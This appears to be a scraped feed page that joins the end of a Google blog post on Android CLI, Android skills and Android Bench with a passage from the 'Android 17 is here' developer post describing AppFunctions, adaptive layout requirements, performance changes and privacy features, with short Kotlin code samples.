<p>The latest version of Android CLI introduces many new features, like programmatic version lookup and support for Journeys, and bridging capability to allow agents to <strong>integrate directly with Android Studio</strong>, via the <a href="https://developer.android.com/tools/agents/android-cli#studio-check">studio command</a>.</p>

<p>Running Android Studio alongside the agent and Android CLI enables more efficient navigation in your project, more precise output, and access to <strong>Android Studio’s unique tooling</strong>, such as performance profilers, Compose Previews, and Android Device Streaming.</p><div class="separator"><div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsMNSFKeo81-n949Gxy89kxE4j9xTtoJXnyEYGULxkjQXjndkMpdDzO74Xr2rvtuJuEooGeZeMJPf_H1UJC4YljU-jrBswJOMgsQBPm-_CO2Z2EYntVE3osq8maf2chHJHB8WvRVvvf_14TxkpARGAOGAUsqYQ-vWZtm2iUhanT-Zz3GDD2HQrQk1Jpcg/s1948/1_agy-android-studio.png"><img border="0" data-original-height="1552" data-original-width="1948" height="510" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsMNSFKeo81-n949Gxy89kxE4j9xTtoJXnyEYGULxkjQXjndkMpdDzO74Xr2rvtuJuEooGeZeMJPf_H1UJC4YljU-jrBswJOMgsQBPm-_CO2Z2EYntVE3osq8maf2chHJHB8WvRVvvf_14TxkpARGAOGAUsqYQ-vWZtm2iUhanT-Zz3GDD2HQrQk1Jpcg/w640-h510/1_agy-android-studio.png" width="640"></a></div><div><i>Android CLI now integrates seamlessly with Android Studio</i></div></div>

<p>Additionally, Google Antigravity now officially supports Android development, with the <strong>Android resources bundle</strong>, which includes the Android CLI and skills.</p>

<p>You can either install the bundle during onboarding after installation, or later from the <strong>Settings &gt; Customizations &gt; Build With Google Plugins</strong> menu. This provides Antigravity with all the powerful tools and knowledge of Android CLI to enable it to perform core tasks—from creating projects to deploying your app on a new virtual device—much more easily and efficiently.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhg5lVac9WbZ_qdkjNLaQto2LX4c0tFD9zF3QIjtGcFXePDigzX7G8xAAQdo8YX6yt7U38-meDeTRQ1TCK-a7YUvjDk6D88ZfTNOQLI-6Xza52AugLbgEyg24kIzUR67lC9k3iX8H_gxk7JUYpHxSiHAJgQkFqN0CiXD8i5k4CE8Px308kNtVbKCYegJtI/s1948/1_agy-android-cli.png"><img border="0" data-original-height="1552" data-original-width="1948" height="510" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhg5lVac9WbZ_qdkjNLaQto2LX4c0tFD9zF3QIjtGcFXePDigzX7G8xAAQdo8YX6yt7U38-meDeTRQ1TCK-a7YUvjDk6D88ZfTNOQLI-6Xza52AugLbgEyg24kIzUR67lC9k3iX8H_gxk7JUYpHxSiHAJgQkFqN0CiXD8i5k4CE8Px308kNtVbKCYegJtI/w640-h510/1_agy-android-cli.png" width="640"></a></div><div><i>Google Antigravity now offers the Android resources bundle</i></div>

</div><p><span>Android CLI is now available through more package managers: like </span><code>npm</code><span> and </span><code>homebrew</code><span>. </span><span>For more information, check out the </span><a href="https://android-developers.googleblog.com/2026/05/android-cli-stable-1-0-agent-development.html">Android CLI blog post</a><span> and </span><a href="https://developer.android.com/tools/agents/android-cli">official documentation.</a></p><div><div class="separator"><h2>2. Android skills keep growing</h2><p>To help models gain expertise for specific development patterns that follow our best practices, we are continuing to <strong>expand our repository of Android skills</strong>, available through <a href="https://developer.android.com/tools/agents/android-cli#skills-add">Android CLI</a> and <a href="https://github.com/android/skills">GitHub</a>.</p>

<p>Android skills ground LLMs in <strong>specialized workflows and domain knowledge,</strong> for the most common and more complex user journeys they might struggle with. We’ve shipped a fresh <strong>new batch of skills,</strong> with now more than 17 skills for areas such as:</p><ul><li>Adaptive UI</li><li>Display Glasses and Jetpack Compose Glimmer for XR</li><li>Migration to CameraX</li><li>Perfetto SQL and Trace Analysis</li><li>Jetpack Compose Styles API</li><li>AppFunctions</li><li>Verified email retrieval with Android Credential Manager</li><li>Engage SDK integration</li><li>Testing setup</li><li>Wear OS Jetpack Compose Material3</li></ul><br><div class="separator"><img border="0" data-original-height="405" data-original-width="720" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOV9PePtO9nHxegfJn96Lsab3Z1fD7FEsjdQ9EQ2vzNOc9es2_S6h8twazy_ief9YVabhkOUWu7xJHr-hxINrva44O7QDpt3z96UtGXbvJYtAARj4tVWK3SPuFVr2in-MSdyCdpY5aOdqRbBjtw06-n365vZv8_Or8YCDrj6FQyoVl6xxKibEJF4Nh3io/s16000/2_android_skills_dev_keynote.gif"><i>Android skills keep growing</i></div><div class="separator"><i><br></i></div><div><div>You can browse skills and install using the Android CLI commands:</div><p></p>

<pre><div>android skills list</div><div>android skills add –skill=&lt;skill-name&gt;</div></pre>

<p>For more information, check out the <a href="https://developer.android.com/tools/agents/android-skills">official documentation.</a></p>

<h2>3. Android Bench adds new models</h2><p>Earlier this year, we launched <a href="https://developer.android.com/bench">Android Bench</a> - our leaderboard for <strong>testing LLMs on real-world Android development</strong> challenges and tasks, with the goal of accelerating model improvements, so you have more helpful options for AI assistance.</p><div class="separator"><br></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjb0KK5bxvuZazJH0qRgHNv7cHl9uhVwZIZprnwGTBufcU7KXLpFJzNO4tCaCJLjh4mrZIqmTuFSMyRadcJxyTsWty65oLaKwi_8L_jAWHERsWYJ6hbZf5qVoDHJCZb-i0U40B3Xz8nRg-nvFYD8cf-nFx7PPG7ffBL-w4bS9RTQx_GOdQ7RXWjUN5RTbI/s2618/AndroidBenchLeaderboard.png"><img border="0" data-original-height="1488" data-original-width="2618" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjb0KK5bxvuZazJH0qRgHNv7cHl9uhVwZIZprnwGTBufcU7KXLpFJzNO4tCaCJLjh4mrZIqmTuFSMyRadcJxyTsWty65oLaKwi_8L_jAWHERsWYJ6hbZf5qVoDHJCZb-i0U40B3Xz8nRg-nvFYD8cf-nFx7PPG7ffBL-w4bS9RTQx_GOdQ7RXWjUN5RTbI/s16000/AndroidBenchLeaderboard.png"></a></div><div><i>Latest results from Android Bench leaderboard</i></div>

<p>You asked us to evaluate open models. So, at I/O, we added more commonly used ones, including our local model <strong>Gemma 4</strong>, to the leaderboard. We also added the latest models including <strong>Gemini 3.5 Flash.</strong></p>

<p>We are also working on increasing the difficulty of challenges we’re giving LLMs, including creating long running tasks, to continue encouraging improvements. These tasks will be coming soon to Android Bench. Check out the <a href="https://developer.android.com/bench">Android Bench leaderboard</a> to see the latest results.</p>

<h2>Android development anywhere</h2><p>By expanding our AI-assisted Android development offerings to Antigravity, through Android CLI and Android skills, and solidifying with the pro capabilities and production grade polish of Android Studio, we’re <strong>supporting Android developers wherever they choose to build.</strong></p>

<p>Have fun bringing your ideas to life faster and easier than ever before - we’re excited to see what you build in this new era of agentic development.</p><p>Check out the full <a href="https://www.youtube.com/playlist?list=PLWz5rJ2EKKc-XnEzj1_CBClxpkGwYQeLy">Developer productivity at Google I/O 2026 YouTube playlist</a> for more information.</p></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Android 17 is here]]></title>
<description><![CDATA[Posted by Matthew McCullough, VP of Product Management, Android DeveloperToday we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.

Android 17 marks the start of our transition to an intelligence system,...]]></description>
<link>https://tsecurity.de/de/3693505/android-tipps/android-17-is-here/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693505/android-tipps/android-17-is-here/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:36 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgV7zuuXjulHty999mGDWY1kfL8Q9SXjYYWn-7JTpMfVdNP78eb5fW9shOpvVdEqK0WnNp7AhdO0qc7pXAaqcfTwXgOGsfZyqcQv8wyD-9niWBpZuP6ZAPHBSetWenN2lMlRS5wi2d71-n8RCYqrLsFhUCEvM7KeoGLnNaDbiyOZQ0vvyr0O580nXK4Vas/s2048/Metadata%20-%20Static.png"><div><i>Posted by Matthew McCullough, VP of Product Management, Android Developer</i></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5KPJZylMSUXRpKFRUd6oM4fNdEoDRdJzdkzg69P_BVUuIDtXqCqTid6hGH40CoHRw7-f50HsT6rISArklGH982MM4K1jKU16SSymes4JPoE4qOZ5s1lLnkbInpUpdJGu5erAYmSgiefzkkOX_ng3AUJKOzzwC1WMTjk2DxLNia8R1C-ErWc7jT4VP8ew/s4209/Blogger%20Hero%20-%20White.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5KPJZylMSUXRpKFRUd6oM4fNdEoDRdJzdkzg69P_BVUuIDtXqCqTid6hGH40CoHRw7-f50HsT6rISArklGH982MM4K1jKU16SSymes4JPoE4qOZ5s1lLnkbInpUpdJGu5erAYmSgiefzkkOX_ng3AUJKOzzwC1WMTjk2DxLNia8R1C-ErWc7jT4VP8ew/s16000/Blogger%20Hero%20-%20White.png"></a></div><br><p><br></p><p>Today we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjaHGBWXu3yvdXZ-wYQgN6DjN5TEMRIYDJvQDZTOybRZFWsAMhqhl14b9UZmrlXlEIRDioqRc8m3xRjOnQHJPoICkVpCho4qrmKihPbu_SB7dGVNKwlAaX6eWdjLF4VUdGyzGfxtW0ziFggj63e778VVo38qpMKar4E1wuw0MiPCBvBdrTTXCgI1XD04Q/s1080/AfD-Android-17.gif"><img border="0" data-original-height="1080" data-original-width="1080" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjaHGBWXu3yvdXZ-wYQgN6DjN5TEMRIYDJvQDZTOybRZFWsAMhqhl14b9UZmrlXlEIRDioqRc8m3xRjOnQHJPoICkVpCho4qrmKihPbu_SB7dGVNKwlAaX6eWdjLF4VUdGyzGfxtW0ziFggj63e778VVo38qpMKar4E1wuw0MiPCBvBdrTTXCgI1XD04Q/s320/AfD-Android-17.gif" width="320"></a></div>

<p>Android 17 marks the start of our transition to an intelligence system, putting your apps at the center. It's shifting to an adaptive-first development standard by introducing mandatory large-screen resizability, all while delivering next-generation privacy, security, media, camera, and performance. We'll cover all that in this post, as well as how we're bringing together next generation tools, libraries, and agent skills to help your apps embrace the opportunity.</p>

<p>Throughout the past year, from our Canary channel to our Beta releases, we’ve collaborated with you in the developer community to build a platform you and your users can trust. To that end, this moment marks the availability of the source code at the <a href="https://source.android.com/">Android Open Source Project</a> (AOSP). This allows you to <a href="https://cs.android.com/">examine the source code</a> for a deeper understanding of how Android works.</p>

<p>Let's dive deeper into Android 17.</p>

<h3>An intelligence system</h3>

<p>With deep integration between hardware, software and AI, we’re transforming Android from an operating system to an intelligence system. It's about delivering new helpful experiences that anticipate user needs, and it brings more opportunities for engagement with your apps. To that end, Android 17 expands the capabilities of AppFunctions, a platform API with a corresponding Jetpack library. It allows you to contribute your app's unique capabilities as orchestratable "tools" for Android MCP, the on-device equivalent of the <a href="https://modelcontextprotocol.io/">Model Context Protocol</a>. AI agents and assistants (like Google Gemini) can discover and execute AppFunctions to perform workflows on behalf of the user with direct access to the app's local state.</p>

<p>The Jetpack library, currently in alpha, makes adding AppFunctions as easy as annotating a class and adding KDoc comments.</p>

<pre><code>/**
 * A note app's [AppFunction]s.
 */
class NoteFunctions(
    private val noteRepository: NoteRepository
) {
    /**
     * Adds a new note to the app.
     *
     * @param appFunctionContext The execution context.
     * @param title The title of the note.
     * @param content The note's content.
     */
    @AppFunction(isDescribedByKDoc = true)
    suspend fun createNote(
        appFunctionContext: AppFunctionContext,
        title: String,
        content: String
    ): Note {
        return noteRepository.createNote(title, content)
    }
}</code></pre>

<p>We’ve also launched an <a href="http://github.com/android/skills/tree/main/on-device/appfunctions">AppFunctions agent skill</a> that analyzes your app’s key workflows, automatically generates the required Kotlin code, optimizes your KDocs for LLM tool-calling, and provides ADB commands for testing and debugging.</p>

<p>The Gemini integration is currently in a private preview with trusted testers, but you can begin preparing your apps now. In addition to ADB commands to execute your AppFunctions, we've provided a <a href="http://github.com/android/appfunctions/releases/initial">test agent app</a> that includes an interface to discover and execute your app functions and simulate an AI agent integration. Join our integration early access program at <a href="http://goo.gle/eap-af">goo.gle/eap-af</a> for a chance to be among the first apps to deploy AppFunctions to production.</p>

<h3>Adaptive-first</h3>
<p>Your users no longer rely on a single form factor; they transition between phones, foldables, tablets, laptops, automotive displays, and immersive XR environments. Now, with over <a href="https://developer.android.com/blog/posts/adaptive-development-for-the-expanding-android-ecosystem">580 million large screen devices</a> in the hands of users and the <a href="https://blog.google/products-and-platforms/platforms/android/meet-googlebook/">forthcoming launch of Googlebooks</a>, the next generation of ChromeOS built on the Android stack, adaptive is no longer just a technical goal. It’s a massive opportunity to reach highly engaged users, which is one of the reasons we're shifting to an <a href="https://developer.android.com/adaptive-apps">adaptive-first development standard</a>.</p>

<h2>No resizability/orientation restrictions on large screens</h2>
<p>To ensure apps deliver a premium experience across all form factors, including mobile devices running in desktop mode on connected displays, Android 17 (API level 37) removes the developer opt-out for orientation and resizability restrictions on <a href="https://developer.android.com/guide/topics/large-screens">large screen devices</a> (sw &gt; 600 dp) for apps targeting API level 37. The system will ignore legacy manifest attributes and runtime APIs, including screenOrientation, setRequestedOrientation(), resizeableActivity=false, and aspect ratio constraints (minAspectRatio/maxAspectRatio). Games (based on <a href="https://support.google.com/googleplay/android-developer/answer/9859673?hl=en">app category</a> in Google Play) remain exempt. Your app must be ready to adapt to any window size, respect the user's preferred device posture, and support free-form windowing natively.</p>

<h2>Next-gen multitasking: App Bubbles, Bubble Bar, and desktop interactive PiP</h2>
<p>Android 17 introduces powerful new windowing capabilities that redefine how users multitask, demanding even greater layout flexibility from your apps:</p>
<ul>
    <li><strong>App Bubbles:</strong> Moving beyond the messaging bubbles API, users can now transform any app into a floating bubble by long-pressing its icon on the launcher. This feature is available across phones, foldables, and tablets, enabling lightweight multitasking for any workflow.</li>
    <li><strong>The Bubble Bar:</strong> On large screens (tablets and foldables), the system taskbar now includes a dedicated Bubble Bar to organize, transition between, and dock these floating app bubbles.</li>
    <li><strong>Desktop interactive PiP:</strong> In desktop environments, Android 17 introduces interactive Picture-in-Picture (PiP). Unlike traditional PiP windows which are read-only, these pinned windows remain fully interactive while staying always-on-top of other application windows.</li>
</ul>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg12FRQ31sUiyMj_ZalamTRI4VyI2tMXYKEoRy6b-u0Het272IDbRhznXot7b8AvFJEX-ubw_-pNxyS5JTKPUTBj1CNXwIYkTE906vembUcHeyGzE4Lb72WRyGNF7dOP_aBssNeCplOjEnKAc3d3hkak81LOpG0g9Hlep0AvC11MjdJ1MkqAp7ViUCu2bw/s1600/Bubbles%20(1).gif"><img border="0" data-original-height="1600" data-original-width="1544" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg12FRQ31sUiyMj_ZalamTRI4VyI2tMXYKEoRy6b-u0Het272IDbRhznXot7b8AvFJEX-ubw_-pNxyS5JTKPUTBj1CNXwIYkTE906vembUcHeyGzE4Lb72WRyGNF7dOP_aBssNeCplOjEnKAc3d3hkak81LOpG0g9Hlep0AvC11MjdJ1MkqAp7ViUCu2bw/s16000/Bubbles%20(1).gif"></a></div><p><i>App Bubbles and Bubble Bar in action</i></p>

<h2>Activity recreation updates</h2>
<p>To prevent disruptive state loss and stutter, Android 17 updates the default behavior for Activity recreation. The system will no longer restart activities by default for typical configuration changes that do not require a full UI redraw (including <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_keyboard">CONFIG_KEYBOARD</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_keyboard_hidden">CONFIG_KEYBOARD_HIDDEN</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_navigation">CONFIG_NAVIGATION</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_touchscreen">CONFIG_TOUCHSCREEN</a>, and <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_color_mode">CONFIG_COLOR_MODE</a>).<br>
Instead, running activities will receive these updates via onConfigurationChanged(), enabling smooth transitions. If your application explicitly relies on a full restart to reload resources for these changes, you must now explicitly opt-in using the new <a href="https://developer.android.com/reference/kotlin/android/R.attr#recreateonconfigchanges">android:recreateOnConfigChanges</a> manifest attribute.</p>

<h2>Continue On</h2>
<p>Android 17 adds Continue On to help users seamlessly transition a task between Android devices. The user sees a suggestion for the most recently opened app from their mobile device in their tablet taskbar, providing a one-tap affordance to launch the app and deep-link where they left off. Continue on can support app-to-web transitions, including falling back to using the web if the app isn't installed.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc8K42DCZ0VTYpFhTlEazp9_AthhqYdm786k1NFolZrP7HwXk2QlF7UV1CU7ECK9N-CiHSfSbH_E2_cXwL3zUuesP-shpa1nau5QmVWDOQeErnCMtvZUw_wwAHNewZZ5S3811f0n_FNoX4U9kyptZQONM_eDB1AAHaoFjMFgTCC7G1d0X2iRo1MN8sev0/s1920/Continue%20On.png"><img border="0" data-original-height="1200" data-original-width="1920" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc8K42DCZ0VTYpFhTlEazp9_AthhqYdm786k1NFolZrP7HwXk2QlF7UV1CU7ECK9N-CiHSfSbH_E2_cXwL3zUuesP-shpa1nau5QmVWDOQeErnCMtvZUw_wwAHNewZZ5S3811f0n_FNoX4U9kyptZQONM_eDB1AAHaoFjMFgTCC7G1d0X2iRo1MN8sev0/s16000/Continue%20On.png"></a><i>Handoff Suggestion on a Tablet</i></div><p><br></p>

<pre><code>class MyHandoffActivity : Activity() {

    ...

  override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)
    // Do stuff
    ...
    // Enable handoff
    setHandoffEnabled(true, null)
  }

  // Override and implement onHandoffActivityDataRequested
  override fun onHandoffActivityDataRequested(handoffRequestInfo: HandoffActivityDataRequestInfo) : HandoffActivityData {
    // Create and return handoff data
  }
}</code></pre>

<h2>Go adaptive-first with Jetpack Compose</h2>
<p>To help you adapt your apps to meet the new Android 17 requirements, we've launched the <a href="https://github.com/android/skills/tree/main/jetpack-compose/adaptive">Jetpack Compose adaptive skill</a>. This AI-powered developer workflow helps you implement the best adaptive practices:</p>
<ul>
    <li><strong>Adaptive navigation:</strong> Automatically transition between bottom navigation bars on mobile and edge-anchored navigation rails on large screens using NavigationSuiteScaffold from the Material 3 Adaptive library.</li>
    <li><strong>Multi-pane layouts:</strong> Implement list-detail and supporting pane layouts natively using Navigation 3 Scenes (ListDetailSceneStrategy and SupportingPaneSceneStrategy) instead of fragile fragment transactions.</li>
    <li><strong>FlexBox &amp; Grid APIs:</strong> Utilize Compose 1.11's dynamic layout components to easily adjust row and column spans on the fly, ensuring your content always fills the space beautifully.</li>
    <li><strong>Advanced non-touch input:</strong> Leverage Compose 1.11's enhanced trackpad and mouse support, including native focus rings and new APIs (like TrackpadInjectionScope and performTrackpadInput) to easily test and deliver a true "laptop-class" experience on Googlebooks and Desktop Mode.</li>
    <li><strong>Dynamic window states:</strong> Leverage Compose's reactive state model to seamlessly adapt your UI when the app transitions from full screen to a floating App Bubble or an interactive Desktop PiP window, ensuring a premium experience even at minimal dimensions.</li>
</ul>

<h2>Android is Compose-first</h2>
<p>Compose offers the easiest way to build adaptive apps, and that's just one of the <a href="https://developer.android.com/develop/ui/compose/first#why-compose-first">many reasons</a> we believe that all Android UI should be built with Compose. To that end, <a href="https://developer.android.com/develop/ui/compose/first">Android development is now Compose-first</a>. All new Android APIs, libraries, tools, and developer guidance will be built exclusively for Jetpack Compose. Legacy View components (in the android.widget package) and View-based Jetpack libraries (like Fragments, RecyclerView, and ViewPager) are now in maintenance mode. They will receive only critical bug fixes, and no new features.</p>

<blockquote>
    <p><strong>TIP</strong><br>
    Ready to migrate? Use our AI-driven <a href="https://developer.android.com/develop/ui/compose/migrate/migrate-xml-views-to-jetpack-compose">XML to Compose Migration Skill</a> to automatically analyze your legacy View layouts and convert them into highly-adaptive Compose code.</p>
</blockquote>

<h3>Performance &amp; efficiency</h3>
<p>App performance means a smooth user interface, fast app start times, and efficient multitasking; Android 17 has impactful improvements in all of these areas.</p>

<h2>App memory limits</h2>
<p>Memory usage is one of the silent foundations of overall performance. When a foreground app or service grows unchecked, memory management spikes CPU and battery utilization and eventually leads to the termination of other well-behaved cached apps and background jobs, ultimately forcing slower cold starts and impaired multitasking. </p>

<p>Starting in Android 17, the system will enforce strict app memory limits based on a device's total RAM, abruptly terminating offending processes. New things to help you navigate these tighter requirements:</p>
<ul>
    <li><strong>R8 Optimizer:</strong> The R8 optimizer significantly reduces your app's bytecode memory footprint by shrinking classes, methods, and fields into shorter names, and stripping out unused code and resources. Use R8 in full mode along with the new <a href="https://developer.android.com/topic/performance/app-optimization/r8-configuration-analyzer">R8 configuration analyzer</a> to make sure your app is getting the most from R8.<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQePgjeISaotpA-miDPKel-qgAYtepLjMMBaiKZQqTf_iYRTJurn_iAFdC7utLnKRKAh9OhSjF_D83skA2PPg7xts0ORX7aVxBkoax6b9uEPqTlGiY_sh8Xv7U1pr0h4Nm8FLo-h3IJD8FhTJc-gOtpBwyLCnDBUPRJAuaaBjsIOhvUmTXFSna0ykksak/s2048/R8%20Configuration%20Analyzer.png"><img border="0" data-original-height="397" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQePgjeISaotpA-miDPKel-qgAYtepLjMMBaiKZQqTf_iYRTJurn_iAFdC7utLnKRKAh9OhSjF_D83skA2PPg7xts0ORX7aVxBkoax6b9uEPqTlGiY_sh8Xv7U1pr0h4Nm8FLo-h3IJD8FhTJc-gOtpBwyLCnDBUPRJAuaaBjsIOhvUmTXFSna0ykksak/s16000/R8%20Configuration%20Analyzer.png"></a></div></li></ul><div><span><u><br></u></span></div><div><span><u><br></u></span></div><div><br></div><div><br></div><div>The R8 Configuration Analyzer</div><ul><li><strong>LeakCanary in Android Studio Panda:</strong> The profiler now features native LeakCanary integration as a dedicated task, fully integrated with your IDE and source code.</li>
    <li><strong>ApplicationExitInfo:</strong> If your app is terminated by these limits, getDescription() from ApplicationExitInfo will return "MemoryLimiter:AnonSwap".</li>
    <li><strong>On-Device Anomaly Detection:</strong> Part of ProfilingManager, you can leverage trigger-based profiling using TRIGGER_TYPE_ANOMALY to automatically capture heap dumps when the memory limit is reached.</li>
</ul>

<pre><code>val profilingManager = applicationContext
   .getSystemService(ProfilingManager::class.java)

val triggers = ArrayList&lt;ProfilingTrigger&gt;().apply {
  add(ProfilingTrigger.Builder(
    ProfilingTrigger.TRIGGER_TYPE_ANOMALY).build())
}
profilingManager.addProfilingTriggers(triggers)</code></pre>

<p>And, we're working to surface more in-field memory metrics to you within Google Play Console.</p>

<h2>Generational garbage collection</h2>
<p><a href="https://developer.android.com/about/versions">Android 17</a> introduces more frequent, less resource-intensive young-generation collections to <a href="https://developer.android.com/guide/platform#art">ART</a>'s Concurrent Mark-Compact garbage collector (GC). By separating short-lived objects from stable, long-lived ones, the system runs frequent, lightweight "young-generation" sweeps rather than expensive full-heap scans, drastically reducing CPU usage, power drain, and UI stutter. Our testing has shown significant improvements in GC interference with application threads and a reduction in the maximum memory resident set size (RSS). ART improvements are also available to over a billion devices running Android 12 (API level 31) and higher through Google Play System updates.</p>

<h2>Lock-Free MessageQueue</h2>
<p>For apps targeting SDK 37 or higher, the core <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>android.os.MessageQueue</b></a> now implements a lock-free architecture, significantly reducing missed frames, improving app startup time, and radically improving the performance of busy queues in multithreaded scenarios. Note: This can break apps that use reflection on private <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>MessageQueue</b></a> fields and methods.  The <a href="https://developer.android.com/reference/android/os/TestLooperManager#peekWhen()"><b>peekWhen</b></a> and <b><a href="https://developer.android.com/reference/android/os/TestLooperManager#poll()">poll</a> </b>APIs have been added to <a href="https://developer.android.com/reference/android/os/TestLooperManager"><b>TestLooperManager</b></a> for instrumentation testing without relying on <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>MessageQueue</b></a> internals.</p>

<h2>Static final fields now truly final</h2>
<p>Starting from Android 17, apps targeting SDK 37 or higher won’t be able to modify “static final” fields, allowing the runtime to apply performance optimizations more aggressively. An attempt to do so via reflection (or deep reflection) will lead to an IllegalAccessException being thrown. Modifying them via JNI’s <b><code>SetStatic&lt;Type&gt;Field</code></b> methods family will immediately crash the application.</p>

<h2>Custom notification view restrictions</h2>
<p>To reduce memory usage we are further restricting the size of <a href="https://developer.android.com/develop/ui/views/notifications/custom-notification">custom notification views</a>. This update closes a loophole that allows apps to bypass existing limits using URIs. This behavior is gated by the target SDK version and takes effect for apps targeting API 37 and higher.</p>

<h3>Privacy &amp; Security</h3>
<p>Maintaining user trust is at the heart of the Android ecosystem. Android 17 introduces robust features that protect sensitive data while simplifying user experiences.</p>

<h2>Privacy-preserving choices</h2>
<p>Historically, apps required broad, permanent permissions to access information like contacts, precise location and media files. Android 17 continues the shift toward privacy-preserving choices that grant temporary, session-based access only to the data the user explicitly selects:</p>
<ul>
  <li><strong>System-Level Contact Picker:</strong> Utilizing <code>ACTION_PICK_CONTACTS</code>, apps can request temporary access only to specific fields (e.g., email or phone number) chosen by the user, eliminating the need for the broad <code>READ_CONTACTS</code> permission. It also fully supports work/personal profile separation.</li>
    <li><strong>Customizable Photo Picker aspect ratio:</strong> Using<b><code>PhotoPickerUiCustomizationParams</code></b>, you can customize the system photo picker to show thumbnails in portrait mode. This is perfect for apps that always display photos and videos in portrait such as video based social media apps.</li>
    <li><strong>System-rendered Location Button:</strong> A new system-rendered location button that you can embed in your app grants precise location access for the current session only.</li>
    <li><strong>EyeDropper API:</strong> A new system-level API, <code>ACTION_OPEN_EYE_DROPPER</code>, allows your app to create a system-powered eyedropper enabling the user to select color from any pixel on the display. This provides a secure, privacy-preserving color-picking experience that eliminates the need for broad, sensitive screen capture or media projection permissions.</li>
</ul>

<pre><code>val eyeDropperLauncher = registerForActivityResult(ActivityResultContracts.StartActivityForResult()) { result -&gt;
   if (result.resultCode == Activity.RESULT_OK) {
       val color = result.data?.getIntExtra(Intent.EXTRA_COLOR, Color.BLACK)
       // Use the picked color in your app
   }
}
fun launchColorPicker() {
   val intent = Intent(Intent.ACTION_OPEN_EYE_DROPPER)
   eyeDropperLauncher.launch(intent)
}</code></pre>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8m_oR9WymjE9G26nGUCqdhS9GrBd6FXN3ujWbjq7ECD6OMGhS4xUApWkAWpPpRef7lwLhsRE2jYL9FADoF_FX2eMXD-0hp9JVaCzrDhfU8RYJ9qv-Ds9YIwyQK7yHKidW0oOtX1rpg2pG9x2yNp3UkGJDPqUlHX7hiLb-bvDue67FPZK1O-22SuXbO8I/s1267/Eyedropper%20Tester.webp"><img border="0" data-original-height="713" data-original-width="1267" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8m_oR9WymjE9G26nGUCqdhS9GrBd6FXN3ujWbjq7ECD6OMGhS4xUApWkAWpPpRef7lwLhsRE2jYL9FADoF_FX2eMXD-0hp9JVaCzrDhfU8RYJ9qv-Ds9YIwyQK7yHKidW0oOtX1rpg2pG9x2yNp3UkGJDPqUlHX7hiLb-bvDue67FPZK1O-22SuXbO8I/w640-h360/Eyedropper%20Tester.webp" width="640"></a></div><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><span><span face="Arial, sans-serif"><i>Picking a color from anywhere on the screen with the system EyeDropper</i></span></span></h3><h2>Local network access</h2>
<p>Apps targeting Android 17 now either require the <code><a href="https://developer.android.com/reference/kotlin/android/Manifest.permission#access_local_network">ACCESS_LOCAL_NETWORK</a></code> runtime permission or the use of system-mediated, privacy-preserving device pickers for local network communication, such as talking to smart home devices or casting receivers. Because <code>ACCESS_LOCAL_NETWORK</code>  falls under the existing <code><a href="https://developer.android.com/reference/android/Manifest.permission_group#NEARBY_DEVICES">NEARBY_DEVICES</a></code> permission group, users who have already granted other <code><a href="https://developer.android.com/reference/android/Manifest.permission_group#NEARBY_DEVICES">NEARBY_DEVICES</a></code> permissions will not be prompted again. </p>

<h2>SMS OTP protection</h2>
<p>Android 17 expands SMS one-time-password (OTP) protection by delaying access to SMS messages for three hours:</p>
<ul>
  <li>WebOTP Format: <a href="https://developer.android.com/about/versions/17/behavior-changes-all#sms-otp-all-apps">Delayed for all apps that are not the intended recipient (domain mismatch)</a>.</li>
  <li>Standard SMS OTP: <a href="https://developer.android.com/about/versions/17/behavior-changes-17#sms-otp-protection">Delayed for all apps targeting SDK 37+</a>.</li>
  <li>Exemptions: Default SMS, assistant, and connected companion apps are exempt. Apps are strongly encouraged to migrate to the <a href="https://developer.android.com/identity/sms-retriever">SMS Retriever</a> or <a href="https://developers.google.com/identity/sms-retriever/user-consent/overview">SMS User Consent APIs</a>.</li>
</ul>

<h2>Post-Quantum Cryptography (PQC)</h2>
